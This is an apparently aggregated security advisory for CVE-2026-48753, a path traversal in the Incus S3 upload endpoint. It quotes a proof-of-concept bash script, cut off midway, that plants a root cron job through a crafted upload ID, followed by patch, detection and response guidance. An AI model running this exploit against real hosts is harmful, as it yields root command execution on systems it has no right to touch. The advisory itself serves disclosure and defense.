Vulnerability in github.com/lxc/incus/v7/cmd/incusd (CVE-2026-48753)
Summary
Vulnerability in github.com/lxc/incus/v7/cmd/incusd (CVE-2026-48753). Successful exploitation can lead to full system takeover. Mitigation: upgrade to 7.1.0 or later.
Original description
The description as published by the source.
Summary
The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution.
In internal/server/storage/s3/local/multipart.go, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33
PoC
Setup
# Expose the S3 API and create a bucket
incus config set core.storage_buckets_address=:8555
incus storage volume create default bucket
#> note the credentials
Exploitation
The below script was mostly generated.
#!/usr/bin/env bash
set -euo pipefail
if [ $# -lt 4 ]; then
printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2
exit 1
fi
endpoint="${1%/}"
bucket="${2}"
access="${3}"
secret="${4}"
region="us-east-1"
service="s3"
key="anything"
part="1"
upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d"
target="/etc/cron.d/part-00001"
cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target"
body="* * * * * root /bin/sh -c '$cmd'
"
uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key"
uri_path="${uri_path#/}"
uri_path="/$uri_path"
host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')"
qs="partNumber=$part&uploadId=${upload_id//\//%2F}"
url="$endpoint/$bucket/$key?$qs"
amz_date=$(date -u +%Y%m…
Source: GitHub Security Advisories (Global) NVD GitHub Advisory
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2026-48753 has been found in github.com/lxc/incus/v7/cmd/incusd.
Successful exploitation can lead to full system takeover. CVSS score: 9.9/10.
What to do: upgrade github.com/lxc/incus/v7/cmd/incusd to 7.1.0 or later.
If unsure, ask your IT team or search "github.com/lxc/incus/v7/cmd/incusd CVE-2026-48753" on the vendor's site.
CVE-2026-48753 (github.com/lxc/incus/v7/cmd/incusd) — CWE-73 / CVSS v3 9.9
Attack vector: remote (network-reachable) / no user interaction
Patched: 7.1.0 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
A vulnerability (CWE-73) exists in github.com/lxc/incus/v7/cmd/incusd.
Check the vendor advisory for the affected versions of github.com/lxc/incus/v7/cmd/incusd.
Severity: Critical (CVSS 9.9/10). Successful exploitation can lead to full system takeover.
Update to 7.1.0.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'github.com/lxc/incus/v7/cmd/incusd' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'github.com/lxc/incus/v7/cmd/incusd' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
github.com/lxc/incus/v7/cmd/incusdを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade github.com/lxc/incus/v7/cmd/incusd to 7.1.0ステージング環境で 7.1.0 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
Fix status by distribution
Fixed packages published by each distribution for this CVE
- Debian DEBIAN-CVE-2026-48753 incus Fixed in: 7.0.0-2
- Ubuntu UBUNTU-CVE-2026-48753 incus
References
- package github.com
- web github.com
- web github.com